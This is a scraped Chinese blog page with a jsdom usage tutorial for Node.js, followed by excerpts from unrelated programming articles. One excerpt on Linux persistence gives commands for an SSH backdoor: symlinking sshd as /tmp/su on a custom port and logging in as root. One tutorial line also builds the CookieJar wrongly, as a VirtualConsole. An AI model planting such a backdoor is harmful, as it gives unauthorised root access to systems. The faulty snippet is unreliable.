当前位置： 首页 > news >正文

nodejs之jsdom插件，运行浏览器环境

news 文章来源：https://blog.csdn.net/randy521520/article/details/133516671 2025/1/17 9:06:24

https://www.npmjs.com/package/jsdom

一、安装依赖
npm install jsdom
二、用法
var jsdom = require('jsdom')
var { JSDOM } = jsdom;
var dom =  new JSDOM(`<!DOCTYPE html><html lang="cn"><head></head><body></body></html>`);
window = dom.window
document=window.document
navigator=window.navigator  
//使用jq     
const $ = require( "jquery" )( window );
三、方法
  1. new JSDOM(domStr,option) 实例化一个dom环境
    new JSDOM('',{url: 'https://example.org/',  // window.location，document.URLreferrer: 'https://example.org/', // document.referrercontentType: 'text/html',//内容类型storageQuota: 10000000, //缓存大小userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',//userAgent请求头includeNodeLocations: true,//允许查找dom位置，runScripts: 'dangerously',//启用在页面内执行js，outside-only在外部执行js：window.eval()cookieJar: new jsdom.CookieJar(),//cokkiepretendToBeVisual:true,//因为JSDOM是无头的,该配置可假装是有头的，window.requestAnimationFrame() 、window.cancelAnimationFrame()resources:new jsdom.ResourceLoader(option),//jsdom不会加载任何子资源（脚本、样式表、图像或iframe），该配置加载子资源virtualConsole:new jsdom.VirtualConsole(),//虚拟控制台beforeParse(window) {}
})
  2. JSDOM.fromURL() 通过url 实例化dom环境
    JSDOM.fromURL('https://www.baidu.com/', { //同new JSDOM 中的option 
}).then(dom => {console.log(dom.serialize());
});
  3. JSDOM.fragment()通过字符串创建dom
    const document = JSDOM.fragment('<p>Hello<span>span</span></p><p><strong>Hi!</strong></p>');console.log(document.querySelector('p').innerHTML)
  4. JSDOM.fromFile() 通过文件实例化dom环境
    JSDOM.fromFile('stuff.html', {//同new JSDOM 中的option
}).then(dom => {console.log(dom.serialize());
});
  5. 页面内执行js：runScripts
    var dom = new JSDOM('<script>console.log(1)</script>', { runScripts: "dangerously"})
  6. new jsdom.ResourceLoader(option) 加载子资源
    const resources = new jsdom.ResourceLoader({proxy: 'http://127.0.0.1:9001', //HTTP代理的地址。strictSSL: false, //禁用SSL证书userAgent: 'Mellblomenator/9000',//userAgent请求头
})
const dom = new JSDOM('', { resources });
  7. new jsdom.VirtualConsole() 虚拟控制台
    const virtualConsole = new jsdom.VirtualConsole()
const dom = new JSDOM(``, { virtualConsole });//监听事件
virtualConsole.on("error", () => { ... });
virtualConsole.on("warn", () => { ... });
virtualConsole.on("info", () => { ... });
virtualConsole.on("dir", () => { ... });
//重定向控制台到node
virtualConsole.sendTo(console,{ omitJSDOMErrors: true //jsdom报错信息
})
  8. new jsdom.CookieJar() cookie
    const cookieJar = new jsdom.VirtualConsole(store, options)
const dom = new JSDOM(``, { cookieJar });
  9. dom.serialize() 获取序列化dom
  10. dom.nodeLocation(bodyEl) 查找位置
    const dom = new JSDOM('<body><p></p></body>', {includeNodeLocations: true
})dom.window.onload = () => {console.log(dom.nodeLocation(dom.window.document.body))
}
  11. dom.window window对象
  12. document document对象
  13. window.navigator navigator对象

相关文章：

nodejs之jsdom插件，运行浏览器环境

https://www.npmjs.com/package/jsdom 一、安装依赖 npm install jsdom二、用法 var jsdom require(jsdom) var { JSDOM } jsdom; var dom new JSDOM(<!DOCTYPE html><html lang"cn"><head></head><body></body></htm…...

编程日记 2023/10/8 5:05:30

运行vite项目报错：await import(‘source-map-support‘).then((r) =＞ r.default.install())

项目场景&#xff1a; Electron vue3 vite项目实现屏幕截图功能 问题描述 运行 npm run dev 启动项目报错 await import(source-map-support).then((r) > r.default.install()) PS D:\study\electron\electronDemo> npm run dev> electronDemo0.0.1 dev D:\study…...

编程日记 2023/10/8 5:04:30

【GIT版本控制】--安装GIT

一、在不同操作系统上安装GIT 在不同操作系统上安装GIT非常容易&#xff0c;以下是针对不同操作系统的安装步骤&#xff1a; 在Windows上安装GIT&#xff1a; 访问 Git官方网站。下载适合您Windows版本的GIT安装程序&#xff08;32位或64位&#xff09;。运行下载的安装程序。…...

编程日记 2023/10/8 5:02:27

java 常见api Arrays类

int类型数组 package daysreplace;import java.util.Arrays;public class Test {public static void main(String[] args) {int[] arrays{38,24,42,56,22,44};//直接输出数组名称就是内存地址System.out.println(arrays);//Arrays.toString()会将数组内容转成字符串形式System…...

编程日记 2023/10/8 5:01:26

Java常见设计模式

单例模式&#xff1a;程序自始至终只创建一个对象。 应用场景&#xff1a;1.整个程序运行中只允许一个类的实例时 2.需要频繁实例化然后销毁的对象 3.创建对象时耗时过多但又经常用到的对象 4.方便资源相互通信的环境 懒汉式线程不安全问题解决方案&#xff1a; 双重检查加锁机…...

编程日记 2023/10/8 5:00:25

Hive 【Hive（七）窗口函数练习】

窗口函数案例 数据准备 1&#xff09;建表语句 create table order_info (order_id string, --订单iduser_id string, -- 用户iduser_name string, -- 用户姓名order_date string, -- 下单日期order_amount int -- 订单金额 ); 2&#xff09;装载语句 i…...

编程日记 2023/10/8 4:59:23

C++深入学习part_1

Linux下编译C程序 安装g命令&#xff1a;sudo apt install g 编译命令&#xff1a;$ g *.cc 或者 *.cpp -o fileName; hellworld 编译程序可以看到&#xff1a; namespace命名空间 首先&#xff0c;命名空间的提出是为了防止变量重名冲突而设置的。 浅浅试一下&#xff1…...

编程日记 2023/10/8 4:56:20

leetCode 300.最长递增子序列 (贪心 + 二分 ) + 图解 + 优化 + 拓展

300. 最长递增子序列 - 力扣&#xff08;LeetCode&#xff09; 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素而不改变其余元素的顺序。例如&#xff…...

编程日记 2023/10/8 4:55:19

Spring加载后置处理器方式之模板方法

Spring加载后置处理器方式之模板方法 1. 未使用模板方法时2. 使用模板方法后 1. 未使用模板方法时 public static void main(String[] args) {MyBeanFactory myBeanFactory new MyBeanFactory();myBeanFactory.getBean();}static class MyBeanFactory {public Object getBean(…...

编程日记 2023/10/8 4:54:18

【高性能计算】CUDA编程之OpenCV的应用（教程与代码-4）//test error

imread命令将返回以蓝色、绿色和红色&#xff08;BGR格式&#xff09;开头的三个通道 处理视频的main函数中需要做的第一件事是创建VideoCapture对象。 GPU CUDA模块中的函数都定义在cv::cuda命名空间中&#xff0c;将设备上配置给图像数据用的显存块作为其参数。 gettickcount…...

编程日记 2023/10/8 4:53:17

高德地图行政区域四级级联数据拉取；省市区县乡镇级联数据

高德地图行政区域四级级联数据拉取 高德地图行政区域级联选择 高德地图行政区域级联选择 使用以下代码拉取高德官方省市区县乡镇四级级联数据 function p(name/* 行政区域名称 */){return $.ajax({"url": "https://lbs.amap.com/_AMapService/v3/config/dis…...

编程日记 2023/10/8 4:52:17

Qt_基础

目录 1概述1.1 什么是QT1.2 QT的发展史1.3 支持的平台1.4 QT版本1.5 下载与安装1.6 QT的优点1.7 成功案例 2 创建 Qt 项目2.1 使用向导创建2.2 .pro文件2.3 帮助文档(QTcreator自带的)2.4 QT应用程序介绍 3 创建第一个小程序3.1 按钮的创建3.1.1 设置主窗口标题的函数3.1.2 **固…...

编程日记 2023/10/8 4:48:11

最新AI创作系统源码ChatGPT网站源码V2.6.3/支持Midjourney绘画/支持OpenAI GPT全模型+国内AI全模型

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统&#xff0c;支持OpenAI GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI创作Chat…...

编程日记 2023/10/8 4:47:09

UML建模语言分析和设计

UML&#xff08;Unified Modeling Language&#xff0c;统一建模语言&#xff09;是一种用于软件系统分析、设计和实现的标准化建模语言。UML提供了多种图形化工具&#xff0c;用于描述系统的不同方面&#xff0c;包括用例、类、对象、状态、活动和序列等。 在软件开发中&…...

编程日记 2023/10/8 4:46:07

SystemUI导航栏

SystemUI导航栏 1、系统中参数项1.1 相关开关属性2.2 属性设置代码 2、设置中设置“三按钮”导航更新流程2.1 属性资源覆盖叠加2.2 SystemUI导航栏接收改变广播2.3 SystemUI导航栏布局更新2.4 时序图 android13-release 1、系统中参数项 1.1 相关开关属性 设置->系统->…...

编程日记 2023/10/8 4:45:07

3d 贴图下载quixel

Quixel Megascans https://polyhaven.com/a/studio_small_03 Quixel Bridge&#xff1a;3D艺术家的宝库 在3D建模和渲染的世界中&#xff0c;找到高质量、适合项目的贴图素材至关重要。Quixel Bridge就是这样一个为3D艺术家提供大量免费贴图素材的资源库。在本文中&#xff…...

编程日记 2023/10/8 4:44:05

Linux权限维持

SSH 后门 软链接sshd 目标主机建立软连接&#xff1a; ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport1189 #端口可以任意指定&#xff0c;最好伪装一下 查看端口&#xff1a; netstat -anlp|grep 1189 攻击机ssh登录&#xff1a; ssh rootx.x.x.x -p 1189 #如果root用户…...

编程日记 2023/10/8 4:41:02

互联网通信的核心协议HTTP和HTTPS

HTTP&#xff1a;超文本传输协议 HTTP&#xff0c;全称为超文本传输协议&#xff08;Hypertext Transfer Protocol&#xff09;&#xff0c;是一种用于在Web上传输超文本文档的协议。它是Web通信的基础&#xff0c;允许浏览器与Web服务器之间的数据交换。HTTP使用了经典的客户…...

编程日记 2023/10/8 4:39:59

javaWeb网上购物系统的设计与实现

摘 要 随着计算机网络技术的飞速发展和人们生活节奏的不断加快&#xff0c;电子商务技术已经逐渐融入了人们的日常生活当中&#xff0c;网上商城作为电子商务最普遍的一种形式&#xff0c;已被大众逐渐接受。因此开发一个网上商城系统&#xff0c;适合当今形势&#xff0c;更加…...

编程日记 2023/10/8 4:38:56

MySQL 主从复制、读写分离

MySQL 主从复制、读写分离 1、MySQL 主从复制1.1什么是主从复制&#xff1f;1.2为什么要读写分离呢&#xff1f;1.3 什么时候要读写分离&#xff1f;1.4主从复制与读写分离1.5mysql支持的复制类型1.6主从复制的工作过程1.7MySQL 读写分离原理1.8目前较为常见的 MySQL 读写分离分…...

编程日记 2023/10/8 4:35:53

基于虚拟阻抗的下垂控制——孤岛双机并联Simulink仿真

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…...

编程日记 2023/10/8 4:34:52

windows内核编程（2021年出版）笔记

1. Windows内部概览 1.1 进程 进程包含以下内容&#xff1a; 可执行程序&#xff0c;代码和数据私有的虚拟地址空间&#xff0c;分配内存时从这里分配主令牌&#xff0c;保存进程默认安全上下文&#xff0c;进程中的线程执行代码时会用到它私有句柄表&#xff0c;保存进程运…...

编程日记 2023/10/8 4:31:48

时序预测 | MATLAB实现EMD-iCHOA+GRU基于经验模态分解-改进黑猩猩算法优化门控循环单元的时间序列预测

时序预测 | MATLAB实现EMD-iCHOAGRU基于经验模态分解-改进黑猩猩算法优化门控循环单元的时间序列预测 目录 时序预测 | MATLAB实现EMD-iCHOAGRU基于经验模态分解-改进黑猩猩算法优化门控循环单元的时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 EMD-iCHOAGR…...

编程日记 2023/10/8 4:26:42

FFmpeg 命令：从入门到精通 | FFmpeg 解码流程

FFmpeg 命令&#xff1a;从入门到精通 | FFmpeg 解码流程 FFmpeg 命令&#xff1a;从入门到精通 | FFmpeg 解码流程流程图FFmpeg 解码的函数FFmpeg 解码的数据结构补充小知识 FFmpeg 命令&#xff1a;从入门到精通 | FFmpeg 解码流程 本内容参考雷霄骅博士的 FFmpeg 教程。 流…...

编程日记 2023/10/8 4:24:39

连接虚拟机工具推荐

连接虚拟机工具推荐 连接虚拟机的工具有很多种&#xff0c;以下是一些常用的推荐&#xff1a; PuTTY&#xff1a;这是一个非常常用的SSH和telnet客户端&#xff0c;适用于Windows系统。它允许你在本地机器上通过命令行接口远程登录到虚拟机。 SecureCRT&#xff1a;这是一个支…...

编程日记 2023/10/8 4:23:38

万字详解HTTP协议面试必备技能

目录 一、HTTP 是什么 二、理解 "应用层协议" 2.1理解 HTTP 协议的工作过程 2.2HTTP 协议格式 2.3抓包工具的使用 2.4抓包工具的原理 2.5抓包结果 2.5.1HTTP请求 2.5.2HTTP响应 2.6协议格式总结 三、HTTP 请求 (Request) 3.1认识 URL 3.1.1URL 基本格式 …...

编程日记 2023/10/8 4:20:34

Debian跳过grub页面

nano /etc/default/grub将GRUB_TIMEOUT的值改为0 将GRUB_CMDLINE_LINUX_DEFAULT的值改为"quiet splash" 如果要禁用开局日志的话&#xff0c;将GRUB_CMDLINE_LINUX_DEFAULT的值改为"quiet splash loglevel0" update-grub...

编程日记 2023/10/8 4:19:33

【已解决】RuntimeError Java gateway process exited before sending its port number

RuntimeError: Java gateway process exited before sending its port number 问题 思路 &#x1f3af;方法一 在代码前加入如下代码&#xff08;如图&#xff09;&#xff1a; import os os.environ[‘JAVA_HOME’] “/usr/local/jdk1.8.0_221” # 记得把地址改成自己的 …...

编程日记 2023/10/8 4:18:32

数据结构与算法-循环链表、双向链表

我们这里接着上一篇单链表继续往下深入学习循环链表、双向链表。 链表 &#x1f388;3.循环链表&#x1f52d;3.1循环链表的概念&#x1f52d;3.2循环链表的基本操作&#x1f50e;3.2.1创建空表&#x1f50e;3.2.2插入操作&#x1f50e;3.2.3删除操作 &#x1f388;4.双向链表&…...

编程日记 2023/10/8 4:17:11

javascript中依次输出元素并不断循环实现echarts柱图动画效果

循环来遍历数组并输出其中的元素 在JavaScript中&#xff0c;你可以使用循环来遍历数组并输出其中的元素。如果你想要依次输出6个元素并不断循环&#xff0c;可以使用如下的代码&#xff1a; let arr [/* 你的数组 */];for (let i 0; i < arr.length; i) {console.log(a…...

编程日记 2023/10/8 4:15:08

宗亲网站建设建议/东莞网络公司电话

转自:http://www.maomao365.com/?p5586 摘要:下文主要讲述sql server表设计及脚本编写中&#xff0c;相关规范 ———————————数据表字段类型选择:字符类型根据长度选择合适的varchar nvarchar类型涉及金额的建议选择 money类型带小数位的建议使用 numeric decimal类型…...

编程日记 2025/1/17 8:44:48

如何自己开一个公众号/北京整站线上推广优化

用sqlplus的时候 连接用户总是出现ORACLE not available 解决办法&#xff1a; 第一步: 输入sqlplus 再输入用户名: sys as sysdba 输入口令: 已连接到空闲例程。 第二步&#xff1a; 先连接到管理员用户下将用例开启 SQL> startup; ORACLE 例程已经启动。 然后就会出现…...

编程日记 2025/1/17 7:40:58

上海传媒公司在哪个区多/seo关键词挖掘工具

转载自&#xff1a;凹凸数据&#xff0c;作者Rilke Yang原文链接&#xff1a;https://www.kesci.com/home/project/5f06b0193af6a6002d0fa357这是一篇我关于滴滴的数据实战&#xff0c;之前首发在和鲸&#xff0c;这次投稿到凹凸数据&#xff0c;希望能够帮助到大家~原文链接&a…...

编程日记 2025/1/17 7:18:45

深圳罗湖医疗集团网站建设/深圳华强北

文章目录#需求现场#具体步骤1、卸载旧的nginx2、更新apt源文件3、导入nginx公钥4、安装新的nginx5、参考#需求现场 使用apt install nginx 安装的总是低版本的nginx&#xff0c;那如何才能安装最新稳定版的呢&#xff1f; #具体步骤 1、卸载旧的nginx $ sudo apt remove ng…...

编程日记 2025/1/17 4:21:16

手机网站什么意思/ip或域名查询网

getYear():对于1900-1999这段时间而言&#xff0c;返回的年份值是一个两位数字的整数&#xff0c;代表保存年份与1900 年之间的差。 IE对getYear()进行了修正&#xff0c;其他浏览器未修正。 测试代码如下&#xff1a; 1 //IE下输出为2012&#xff0c;非IE下输出为1122 3 var o…...

编程日记 2025/1/17 1:38:07

我想克隆个网站 怎么做/女生学网络营销这个专业好吗

安装MySQLdb pip install MySQLdb安装不成功请使用离线安装方式&#xff0c;pypi&#xff1a;https://pypi.org/project/mysqlclient/#files 选择对应的Python版本&#xff0c;下载.whl文件&#xff0c;并离线安装 pip install mysqlclient-2.0.3-cp37-cp37m-win_amd64.whl操…...

编程日记 2025/1/17 1:23:47